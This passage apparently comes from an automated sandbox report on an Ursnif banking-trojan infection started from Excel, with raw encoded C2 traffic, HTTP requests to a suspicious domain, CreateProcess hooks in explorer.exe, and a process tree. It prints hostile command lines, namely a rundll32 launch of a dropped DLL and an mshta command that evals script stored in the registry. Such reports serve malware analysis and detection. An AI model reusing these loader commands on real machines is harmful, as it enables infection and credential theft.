48314vk1VboY3elcR8cT1VMMmFhy4lUFSgrqbmNjxVSv9I/37QqHTv/+mCj+a6fKJ/XlxNVCOOuvlGelf3+EZgawVC5UeU/BRiONRD9At6V1UH0namcdYAIGIe0AppUzPVI2GKZAOLcitOu/gSSH7DtM8AK7zrO2NJm+USncN6soOMDDOjaiIdckYadYJT+DDAPSzOImqdHNjcAgA9FTx80H2hDMn3tzpz01zZ9df3NsEuVoDmZpSKfww3waaOYsYgzTubYXwvjILsKKE/BwRehNXX4JOM/w7/hC46hsIhKMEXumdvcOmzPyS8TQ9lpOnTbuH24LYdlvlZJQV2QZPHsCupwbUnaGM0EuRprRYxTctouhcouFClpgEerUEI2lPr8CXEUoVugF71YMlT20ezHJsgvt/cV2iEwaVGGJoYtkVIXBCuIWqCD5W1F3JrMvPTDtUu8LoGrUGRJeZI6PAXTAwTwCR4tnkZ8Xy2BU/Uz1PubaN8tuDr+Mx71Qgnvo/evqx8Ctnyb2GgqfsYCQZ+MMPvxh8tt2XUWLA2k077yxBdk2NCVeOfZWs5zhYkij1ed9Xo1MBmCZHNj/VtcU0/HJj2JbYg+KZaR4FkPp0nyz1SWYFxKDVIMTjKp+LvY/nYa5D4uswkfRo2uc4rNuxi9bBfO8sOBrXQF+2HEy7DpILvCdj+WXSdem1/VAMk7UFb7lD07uZ4Rogkeiql/wnfIOXF9zzhEyzUi6qtdogTItDMxHh7P5ER+vOAHKg6ne2Iy9LD+RWcKJz4R14/FDtnKqfjmlITz1RHBF8eoW0DVt1tRLmxkXpUz+rVtXKQM3lyvTdjo7jKBDKThtsGNBfM6qR
Feb 9, 2021 11:54:55.272845984 CET	1261	IN	Data Raw: 4c 62 78 38 4d 62 39 42 4f 34 63 52 73 4a 44 5a 2b 45 56 70 6e 6d 64 7a 6c 4c 77 6e 46 4d 33 4b 66 51 62 65 6e 38 33 42 31 52 4f 64 67 4f 54 54 66 54 4d 66 48 67 6a 33 76 78 37 57 4c 50 52 76 65 42 4c 34 2f 69 68 7a 6b 39 33 58 74 7a 6d 42 78 45 Data Ascii: Lbx8Mb9BO4cRsJDZ+EVpnmdzlLwnFM3KfQben83B1ROdgOTTfTMfHgj3vx7WLPRveBL4/ihzk93XtzmBxEXxSnGrKygEFdU5bbDLT6q3TiI30A4vAsDVtZA8h16HqNvcWBcf1FbS8KvE3SjK3j+MuX6s3gpi1t7PvNWLIWdfu50vjE0j4QE5kR+EGKPuFfwIrSJhfNCOejSgCFraxDiPsB4u+3hA61mWH3y1TEVHv4V/5uwY0VF
Feb 9, 2021 11:54:55.272885084 CET	1263	IN	Data Raw: 52 36 6c 76 4e 44 50 38 49 66 67 52 4b 73 57 76 36 72 35 54 58 48 57 62 79 2f 50 56 43 70 65 71 6e 55 57 6a 56 33 46 56 5a 79 54 61 2f 6e 44 2b 34 70 75 50 36 57 42 44 4a 65 51 2f 46 36 49 57 58 70 41 5a 43 70 45 77 2b 2b 61 30 4a 6d 54 36 6a 69 Data Ascii: R6lvNDP8IfgRKsWv6r5TXHWby/PVCpeqnUWjV3FVZyTa/nD+4puP6WBDJeQ/F6IWXpAZCpEw++a0JmT6jir24/GSCsK7+XEyFMNWDuoqHoxYG6LNvAUBmJzZich0TXJQSPm007fgtKxg9MnX1Tl+AdXTLxcP8MYxaqM7dZsHrybKQovDnH+n+pwqwNwDQlYAtaYqpePUgdjxu89omplCtbcYhEAikmwBB8kjq7G7jFOMgLf8cUA
Feb 9, 2021 11:54:55.273175955 CET	1264	IN	Data Raw: 6c 32 69 64 62 2b 79 6f 48 52 32 78 5a 35 2f 43 70 64 34 35 41 48 35 70 76 79 44 48 4c 6d 35 65 73 38 69 54 4b 75 53 73 5a 70 57 70 71 59 30 6a 67 53 2b 57 5a 52 78 57 6d 54 4b 2b 30 57 76 4e 6b 58 68 53 46 73 36 32 66 51 70 50 4a 33 31 61 71 77 Data Ascii: l2idb+yoHR2xZ5/Cpd45AH5pvyDHLm5es8iTKuSsZpWpqY0jgS+WZRxWmTK+0WvNkXhSFs62fQpPJ31aqwYXX7maSb8b7nKxNxjI/nN00kck6Y2nc9ADhCK+khITCl3Qc+RvNvUBfSY31uPjaNaqY06h0j5tn/taCMo7nux8daln/+bVMzexoSAbDWDHhM+RBi1Dxo0nIRlxPPj6CJ90YtijDTvoRMhp7riu2zBbqoNWjgChWal
Feb 9, 2021 11:54:55.273277998 CET	1266	IN	Data Raw: 72 57 6f 62 79 61 75 59 69 73 4b 7a 4d 6f 43 31 78 56 30 36 78 69 72 70 6c 74 63 2b 70 63 4f 37 37 5a 4c 62 39 30 70 62 72 77 32 54 41 64 7a 7a 58 49 31 56 4b 38 74 4b 71 33 74 59 59 6d 67 77 73 67 2f 63 31 4c 42 4b 35 36 33 35 76 4c 64 33 41 39 Data Ascii: rWobyauYisKzMoC1xV06xirpltc+pcO77ZLb90pbrw2TAdzzXI1VK8tKq3tYYmgwsg/c1LBK5635vLd3A9oGtZlmGyy6YUdR04JirmSepCUB6Ya0FGKHWJrFPjw9CNRiHbsfoC5g9N4LdxevuMtOlgpBcu7bdDuMpRaeEy8p7FgmBbahrdha9YCK195aQ27OhNaogD6NzPYHl79udQQefcJN+SzT5gSmXC92YkwhQKvNOMScgVs
Feb 9, 2021 11:54:55.273353100 CET	1267	IN	Data Raw: 64 69 5a 73 50 5a 49 2b 58 6a 31 34 53 34 53 6b 6b 62 55 56 64 6b 38 68 76 4c 4e 6c 32 37 63 4d 71 55 6a 4a 38 6b 7a 6e 39 71 56 6a 4d 62 64 61 66 55 51 5a 47 35 4e 56 67 38 35 2f 73 41 57 50 6f 57 69 56 37 4e 4b 73 66 4b 75 6e 42 68 47 73 34 56 Data Ascii: diZsPZI+Xj14S4SkkbUVdk8hvLNl27cMqUjJ8kzn9qVjMbdafUQZG5NVg85/sAWPoWiV7NKsfKunBhGs4VK4C3wSh32kVv4tLtY+qM+XL2IR0291S8V7JXcZOtiozU+KVNOYjOUCmcdOjLOy1h6bKirDouSNySKW/9MEkRQHtDf/cZdIOjpzwmf+jUDbT23YDh+HYJbnid9utpjb0KAFEFwwuNJsty+T4ARCwDBC2dU/XZb4R++
Feb 9, 2021 11:54:55.273442030 CET	1269	IN	Data Raw: 78 5a 4f 31 6f 62 35 32 68 35 2f 67 6d 51 46 49 55 38 37 33 5a 73 4d 4a 55 66 6b 57 61 75 53 51 55 75 36 61 58 37 72 37 67 65 31 45 52 39 31 41 46 35 4b 45 51 4a 47 6c 4a 65 53 50 51 4e 46 2f 55 2f 4a 5a 45 36 51 45 79 6a 61 67 55 74 6a 69 4a 59 Data Ascii: xZO1ob52h5/gmQFIU873ZsMJUfkWauSQUu6aX7r7ge1ER91AF5KEQJGlJeSPQNF/U/JZE6QEyjagUtjiJYaPkYOUWBGmeHY/NVE0WVA7ZfwZsptQ4rsoakqsQnwZXdpRcZPAtYp1ckmipecttRM14omYOC9lC02GPW+L5gGVJJ7tdA8xLc+CAdtWXuWwGvnoiookIIs8fUaz7Gvh3hOaVXGgP0Tg7IlY68aMPO2SncAAA0w80MX
Feb 9, 2021 11:54:55.273485899 CET	1270	IN	Data Raw: 35 52 73 44 63 67 70 47 56 4a 58 47 4e 53 35 56 54 49 67 6c 72 72 6a 34 44 57 37 36 35 54 5a 57 39 75 68 65 55 6a 73 52 31 45 4f 45 4b 75 74 42 7a 66 74 37 71 76 36 63 50 6a 77 30 55 36 6e 55 61 2f 32 4d 59 53 64 68 51 34 59 49 74 43 4e 39 55 69 Data Ascii: 5RsDcgpGVJXGNS5VTIglrrj4DW765TZW9uheUjsR1EOEKutBzft7qv6cPjw0U6nUa/2MYSdhQ4YItCN9UiWU54UKeAHlWRgRWlx9SZ15IgVVPQ+FaSlG6WyjJjn4GsMGKEo5upJsDP4RcbYAW6wWoLBSYw2Ta5k4tbuilN+6vL6re5E7BzYkimQb946mTnSCa7bWsK1Gudmuk8y6rqAPbDrQDE24SsG2N/IuKnLSFl0EwtOcjpt
Feb 9, 2021 11:54:55.273535013 CET	1271	IN	Data Raw: 54 5a 66 34 61 51 64 57 68 66 70 6b 4a 33 57 4b 73 69 4c 37 43 32 45 4e 74 42 38 4c 68 57 59 43 42 6c 61 75 34 2b 36 6e 7a 2b 54 66 69 7a 76 42 31 39 35 34 64 31 6f 4e 7a 39 74 35 42 6f 46 4b 39 67 47 34 63 62 54 54 41 74 5a 6d 6c 4b 79 49 42 37 Data Ascii: TZf4aQdWhfpkJ3WKsiL7C2ENtB8LhWYCBlau4+6nz+TfizvB1954d1oNz9t5BoFK9gG4cbTTAtZmlKyIB7VU2pm4RdIrV8vU0SI18QuySUJHFLInh7rpKSuBmB/VphMOfbVbQj0uaLwigaOHK/ijN+Ovd+SqD43Oej9Fzrf3bwaSEXfeU5VX3QmlL2krNR580tmWg+PnA2QVH1sQWSfhRzPKW73De6JZtfLx+IHyxPPM9806ZZL
Feb 9, 2021 11:54:55.273595095 CET	1273	IN	Data Raw: 69 39 6f 35 49 72 58 6b 39 31 42 37 62 33 56 2b 31 55 4e 4d 4f 58 49 43 72 4f 7a 62 64 53 4e 45 46 72 4d 34 70 69 42 30 50 48 57 34 38 6a 6d 6e 34 62 64 49 50 55 68 39 2f 76 6f 51 58 31 50 4f 61 77 6e 4d 32 4a 55 59 53 48 4b 65 76 64 7a 50 37 43 Data Ascii: i9o5IrXk91B7b3V+1UNMOXICrOzbdSNEFrM4piB0PHW48jmn4bdIPUh9/voQX1POawnM2JUYSHKevdzP7CgRJNl1Cf0BelgwElpk/NaoMcSANoZ48j0kdP/PiyH2/YidSfwNkNUGx8B4V6RZ7hTK3tf+6zYmRNL08sK3O+t9xhiL5APKZyzlErEyxrMS7bhIQuuqpQ/8HBBE5WTcPTuLyyn6MnajG9WxqSOKuWmNBw8HAzz6k1B
Feb 9, 2021 11:54:55.344474077 CET	1274	IN	Data Raw: 38 6a 46 69 6c 31 74 61 6b 51 72 50 76 48 65 55 67 54 4d 56 70 62 76 6b 61 31 4c 47 34 47 39 34 77 4c 30 57 70 75 30 70 32 48 49 54 38 62 70 62 49 6e 7a 47 55 6e 50 50 61 63 75 67 4b 2f 53 55 36 4b 6d 55 63 4b 6d 4c 46 70 71 53 72 70 31 31 57 53 Data Ascii: 8jFil1takQrPvHeUgTMVpbvka1LG4G94wL0Wpu0p2HIT8bpbInzGUnPPacugK/SU6KmUcKmLFpqSrp11WSB0aHUGE6hE7+Ty0RzLbRjGK/IlmcpFOV3MmxunfuWNG/M0fVzvHVZbxCftGJMr4EZUzOVTtOoA3DDEMNmBc9GYB+sfWH8SljIaA3ZQkW+vCS+HzeP4xJ4mVltGcfFFY7hy3CDg5F3Y7kVZOxxfnTcaQ8sBlRLTfKA

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.22	49190	80.208.230.180	80	C:\Program Files (x86)\Internet Explorer\iexplore.exe

Timestamp	kBytes transferred	Direction	Data
Feb 9, 2021 11:54:58.401204109 CET	1573	OUT	GET /manifest/t9KapG5Lp7Zt_2Fa57QG/GX7C0FfmRVPiI55eGvl/6x2VyI3ttROAIozUzpTtuU/djl44EXt9ama4/XR_2FoMg/DUUaeRp34H0CCf_2FqktcZq/z9PSxtll7Y/oj4uvWMlnUr2X5bcU/HYCHWM70nrfm/_2BgTKf7qxG/3cOw5VQBP7LVAf/95TW5v6vv1PzXG2YnDn_2/B53HOO92/81PS.snx HTTP/1.1 Accept: text/html, application/xhtml+xml, / Accept-Language: en-US User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko Accept-Encoding: gzip, deflate Host: pronpepsipirpyamvioerd.com DNT: 1 Connection: Keep-Alive Cookie: lang=en
Feb 9, 2021 11:54:58.487428904 CET	1574	IN	HTTP/1.1 200 OK Date: Tue, 09 Feb 2021 10:54:58 GMT Server: Apache/2.4.6 (CentOS) PHP/5.4.16 X-Powered-By: PHP/5.4.16 Set-Cookie: PHPSESSID=16u9idmd4bq743h50q2i848tb4; path=/; domain=.pronpepsipirpyamvioerd.com Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Content-Length: 2476 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 4f 32 6a 7a 59 76 79 53 55 34 76 6b 39 51 52 35 69 6f 69 6d 6a 58 46 79 4e 7a 37 34 2f 56 2f 41 61 64 74 58 55 79 69 68 63 41 32 2b 58 45 41 67 50 42 30 74 4f 6f 6f 74 79 73 46 34 49 79 46 7a 45 75 4b 2b 50 4a 4c 50 79 38 45 64 67 4b 61 73 37 55 37 4f 4b 78 72 6f 48 68 48 69 38 57 6a 75 68 32 76 6a 35 44 33 59 52 49 63 76 71 74 55 39 30 74 53 47 70 73 42 6d 67 36 41 7a 64 53 66 62 70 2b 52 6b 4b 56 68 41 76 2b 4d 6e 59 71 53 79 68 76 43 6c 44 77 35 74 36 63 51 75 70 63 6f 79 51 6f 59 73 42 35 2f 36 76 4a 36 61 67 50 45 6c 67 49 37 72 69 53 52 6f 46 43 44 78 36 6e 38 39 6f 49 70 79 41 78 30 6a 39 57 45 6d 31 6b 45 6e 78 54 53 30 75 73 70 6a 57 62 71 56 39 35 54 31 4f 43 55 61 66 46 75 30 64 72 2f 65 4c 37 62 6d 50 6f 65 54 53 46 4c 38 4b 7a 66 2f 7a 48 63 63 4d 58 73 41 79 38 45 36 6a 56 59 57 38 68 6d 33 38 70 6d 6d 6e 72 71 5a 6f 30 7a 31 37 7a 34 4e 5a 35 48 35 4e 71 31 4c 56 6e 39 52 30 4f 43 36 54 6d 73 66 47 56 70 69 41 66 35 6e 42 36 75 43 7a 6d 6a 74 39 76 49 78 76 6a 58 51 2b 4b 4c 6c 31 57 6a 66 36 35 41 69 34 39 77 42 54 43 79 67 56 50 6b 7a 74 6b 54 41 6d 39 54 4d 67 54 61 30 47 50 43 52 42 66 47 70 63 43 4a 58 43 6a 4e 35 64 38 50 78 51 6d 7a 66 67 53 64 59 59 53 2b 31 68 56 71 75 61 39 74 49 41 31 44 4b 53 56 58 49 32 6b 30 50 37 61 75 63 78 53 6f 6a 30 6e 5a 52 43 32 36 69 53 43 52 49 41 64 39 6e 4f 52 32 69 45 38 44 59 58 73 4d 4e 6b 47 49 4d 37 65 2b 6c 78 55 69 5a 65 34 55 33 67 53 67 2b 6d 53 34 73 66 76 78 50 65 59 62 4f 78 6a 64 49 39 74 36 79 63 67 6a 46 50 31 4f 75 6c 2b 5a 33 6f 6f 65 64 38 62 62 54 53 68 64 4f 4b 54 55 4e 59 51 54 32 36 59 4a 41 6e 74 6b 4b 74 33 2f 48 56 55 68 35 5a 64 4e 73 66 68 44 55 2b 34 76 63 58 70 2b 45 43 74 4f 45 56 57 6a 77 36 30 70 7a 72 46 61 76 33 4d 70 61 61 42 72 6d 38 7a 6a 74 51 52 73 6e 45 57 52 4a 57 43 4a 56 31 61 4f 33 30 59 4d 62 53 42 47 31 36 66 69 72 45 65 63 50 73 57 5a 48 2b 2f 42 66 41 5a 36 6e 43 77 47 42 67 41 6e 52 70 71 39 6d 4c 31 49 63 63 49 59 72 34 75 50 63 54 63 70 30 68 49 48 47 30 51 42 54 59 75 33 41 56 58 52 74 45 76 36 59 75 4e 35 49 49 37 42 36 2b 67 35 59 68 6e 71 55 2f 6d 77 7a 43 74 32 6c 62 39 45 30 41 65 59 5a 39 58 36 4e 57 71 30 34 38 58 38 7a 58 4f 4a 72 4d 2b 42 61 33 64 62 58 4a 7a 63 71 46 4d 47 5a 4d 46 38 53 64 69 71 51 52 31 48 58 61 77 30 4b 35 6a 4f 63 6d 75 77 4e 39 76 2f 5a 67 72 6e 4d 53 34 47 7a 38 63 44 5a 5a 54 51 4a 30 46 76 6e 66 30 72 62 4f 50 62 44 36 51 58 47 33 74 66 67 47 2f 38 42 4c 6f 79 71 33 32 37 55 42 6b 4a 2f 4d 6e 49 2f 41 4c 38 51 6e 74 35 2f 53 45 66 53 36 56 33 4a 49 78 38 2b 31 54 6a 6b 50 6e 68 4a 31 4c 4e 6d 4e 41 63 37 52 Data Ascii: O2jzYvySU4vk9QR5ioimjXFyNz74/V/AadtXUyihcA2+XEAgPB0tOootysF4IyFzEuK+PJLPy8EdgKas7U7OKxroHhHi8Wjuh2vj5D3YRIcvqtU90tSGpsBmg6AzdSfbp+RkKVhAv+MnYqSyhvClDw5t6cQupcoyQoYsB5/6vJ6agPElgI7riSRoFCDx6n89oIpyAx0j9WEm1kEnxTS0uspjWbqV95T1OCUafFu0dr/eL7bmPoeTSFL8Kzf/zHccMXsAy8E6jVYW8hm38pmmnrqZo0z17z4NZ5H5Nq1LVn9R0OC6TmsfGVpiAf5nB6uCzmjt9vIxvjXQ+KLl1Wjf65Ai49wBTCygVPkztkTAm9TMgTa0GPCRBfGpcCJXCjN5d8PxQmzfgSdYYS+1hVqua9tIA1DKSVXI2k0P7aucxSoj0nZRC26iSCRIAd9nOR2iE8DYXsMNkGIM7e+lxUiZe4U3gSg+mS4sfvxPeYbOxjdI9t6ycgjFP1Oul+Z3ooed8bbTShdOKTUNYQT26YJAntkKt3/HVUh5ZdNsfhDU+4vcXp+ECtOEVWjw60pzrFav3MpaaBrm8zjtQRsnEWRJWCJV1aO30YMbSBG16firEecPsWZH+/BfAZ6nCwGBgAnRpq9mL1IccIYr4uPcTcp0hIHG0QBTYu3AVXRtEv6YuN5II7B6+g5YhnqU/mwzCt2lb9E0AeYZ9X6NWq048X8zXOJrM+Ba3dbXJzcqFMGZMF8SdiqQR1HXaw0K5jOcmuwN9v/ZgrnMS4Gz8cDZZTQJ0Fvnf0rbOPbD6QXG3tfgG/8BLoyq327UBkJ/MnI/AL8Qnt5/SEfS6V3JIx8+1TjkPnhJ1LNmNAc7R
Feb 9, 2021 11:54:58.487479925 CET	1576	IN	Data Raw: 5a 51 4c 78 36 6d 54 58 32 61 78 63 45 41 38 54 76 5a 34 6b 54 59 63 51 6a 51 79 31 47 5a 5a 4f 48 33 61 50 7a 36 49 78 2b 4a 68 53 4f 31 76 33 5a 36 62 6f 36 4e 56 37 2b 5a 2b 6d 79 4b 6a 52 41 4e 32 56 72 30 42 61 4d 51 63 78 4a 64 6f 38 53 77 Data Ascii: ZQLx6mTX2axcEA8TvZ4kTYcQjQy1GZZOH3aPz6Ix+JhSO1v3Z6bo6NV7+Z+myKjRAN2Vr0BaMQcxJdo8SwYuEZxNlWcZQw+YIBWfpL1hYc2WmRaSiVj1cQpM9SsuCX1oGsuDJW4fYzZiH+DHbD3Xc6Fz++4OdxT0iuIjWGhqiThtUvZn7yG5XOM/aAWrLHXWiFkxg5tK6Ef1JTRwkyZhidHNmyQl0+/UigrGw8P9tW1QoAZhUjG
Feb 9, 2021 11:54:58.487510920 CET	1576	IN	Data Raw: 61 7a 32 4c 41 69 36 59 33 78 64 36 4c 45 66 75 6f 74 45 59 64 4d 68 4a 32 31 38 2b 70 57 71 73 78 6f 65 7a 50 49 4c 76 6b 50 52 4c 54 75 70 56 61 65 71 53 59 2f 67 73 65 50 2b 4c 67 34 6b 4b 4e 6f 4d 74 73 42 58 74 2b 64 7a 76 31 74 54 6f 69 34 Data Ascii: az2LAi6Y3xd6LEfuotEYdMhJ218+pWqsxoezPILvkPRLTupVaeqSY/gseP+Lg4kKNoMtsBXt+dzv1tToi4pbDgXChgt+SvtaCyhcxbs2jAJYI2gPS3Hjh81qCZ6iMH+8735WbKQGn9NMdJKHfGyS7j4VtE6IWV+t6vEwdd2rBLJs+hSD/UolUo6bNPmoJBdDXcv+pZBWP/OcxJcTw3P/9Rpcx+cyNDsKwIUdNy9Nn6uE6u+ykBs

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 9, 2021 11:55:44.685542107 CET	104.16.249.249	443	192.168.2.22	49194	CN=cloudflare-dns.com, O="Cloudflare, Inc.", L=San Francisco, ST=California, C=US CN=DigiCert TLS Hybrid ECC SHA384 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert TLS Hybrid ECC SHA384 2020 CA1, O=DigiCert Inc, C=US CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Mon Jan 11 01:00:00 CET 2021 Wed Sep 23 02:00:00 CEST 2020	Wed Jan 19 00:59:59 CET 2022 Mon Sep 23 01:59:59 CEST 2030	771,49192-49191-49172-49171-159-158-57-51-157-156-61-60-53-47-49196-49195-49188-49187-49162-49161-106-64-56-50-10-19,0-10-11-13-23-65281,23-24,0	7dcce5b76c8b17472d024758970a406b
Feb 9, 2021 11:55:44.685542107 CET	104.16.249.249	443	192.168.2.22	49194	CN=DigiCert TLS Hybrid ECC SHA384 2020 CA1, O=DigiCert Inc, C=US	CN=DigiCert Global Root CA, OU=www.digicert.com, O=DigiCert Inc, C=US	Wed Sep 23 02:00:00 CEST 2020	Mon Sep 23 01:59:59 CEST 2030		7dcce5b76c8b17472d024758970a406b

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
CreateProcessW	EAT	explorer.exe
CreateProcessW	INLINE	explorer.exe
CreateProcessA	EAT	explorer.exe
CreateProcessA	INLINE	explorer.exe
CreateProcessAsUserW	EAT	explorer.exe
CreateProcessAsUserW	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: kernel32.dll

Function Name	Hook Type	New Data
CreateProcessW	EAT	76F37000
CreateProcessW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessA	EAT	76F3700E
CreateProcessA	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00
CreateProcessAsUserW	EAT	76F3701C
CreateProcessAsUserW	INLINE	0xFF 0xF2 0x25 0x50 0x00 0x00

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: EXCEL.EXE PID: 1144 Parent PID: 584

General

Start time:	11:52:39
Start date:	09/02/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f5a0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2296 Parent PID: 1144

General

Start time:	11:52:43
Start date:	09/02/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer
Imagebase:	0xff0c0000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: rundll32.exe PID: 1920 Parent PID: 2296

General

Start time:	11:52:44
Start date:	09/02/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32 C:\fyjh\zglgy\lckhvmn.drhdh,DllRegisterServer
Imagebase:	0x490000
File size:	44544 bytes
MD5 hash:	51138BEEA3E2C21EC44D0932C71762A8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Borland Delphi
Yara matches:	Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.2321839049.00000000039CC000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.2321796165.00000000039CC000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.2321745663.00000000039CC000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.2321730520.00000000039CC000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.2321759010.00000000039CC000.00000004.00000040.sdmp, Author: Joe Security Rule: JoeSecurity_Ursnif, Description: Yara detected Ursnif, Source: 00000004.00000003.2378828561.00000000022D0000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 2828 Parent PID: 584

General

Start time:	11:53:36
Start date:	09/02/2021
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x13f4b0000
File size:	814288 bytes
MD5 hash:	4EB098135821348270F27157F7A84E65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 2448 Parent PID: 2828

General

Start time:	11:53:36
Start date:	09/02/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2828 CREDAT:275457 /prefetch:2
Imagebase:	0xd0000
File size:	815304 bytes
MD5 hash:	8A590F790A98F3D77399BE457E01386A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 2392 Parent PID: 584

General

Start time:	11:54:23
Start date:	09/02/2021
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x13f990000
File size:	814288 bytes
MD5 hash:	4EB098135821348270F27157F7A84E65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 1844 Parent PID: 2392

General

Start time:	11:54:24
Start date:	09/02/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2392 CREDAT:275457 /prefetch:2
Imagebase:	0x180000
File size:	815304 bytes
MD5 hash:	8A590F790A98F3D77399BE457E01386A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 1340 Parent PID: 584

General

Start time:	11:54:26
Start date:	09/02/2021
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x13f990000
File size:	814288 bytes
MD5 hash:	4EB098135821348270F27157F7A84E65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 2764 Parent PID: 1340

General

Start time:	11:54:27
Start date:	09/02/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:1340 CREDAT:275457 /prefetch:2
Imagebase:	0x2a0000
File size:	815304 bytes
MD5 hash:	8A590F790A98F3D77399BE457E01386A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 2168 Parent PID: 584

General

Start time:	11:54:30
Start date:	09/02/2021
Path:	C:\Program Files\Internet Explorer\iexplore.exe
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Imagebase:	0x13f990000
File size:	814288 bytes
MD5 hash:	4EB098135821348270F27157F7A84E65
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: iexplore.exe PID: 1192 Parent PID: 2168

General

Start time:	11:54:31
Start date:	09/02/2021
Path:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
Wow64 process (32bit):	true
Commandline:	'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:2168 CREDAT:275457 /prefetch:2
Imagebase:	0x120000
File size:	815304 bytes
MD5 hash:	8A590F790A98F3D77399BE457E01386A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: mshta.exe PID: 2980 Parent PID: 1388

General

Start time:	11:54:36
Start date:	09/02/2021
Path:	C:\Windows\System32\mshta.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>resizeTo(1,1);eval(new ActiveXObject('WScript.Shell').regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\47278A61-FA3B-119B-3C6B-CED530CFE2D9\\\CRPPcapi'));if(!window.flag)close()</script>'
Imagebase:	0x13f0d0000
File size:	13824 bytes
MD5 hash:	95828D670CFD3B16EE188168E083C3C5
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate

Chronological Activities

Analysis Process: powershell.exe PID: 1828 Parent PID: 2980

General

Start time:	11:54:38
Start date:	09/02/2021
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
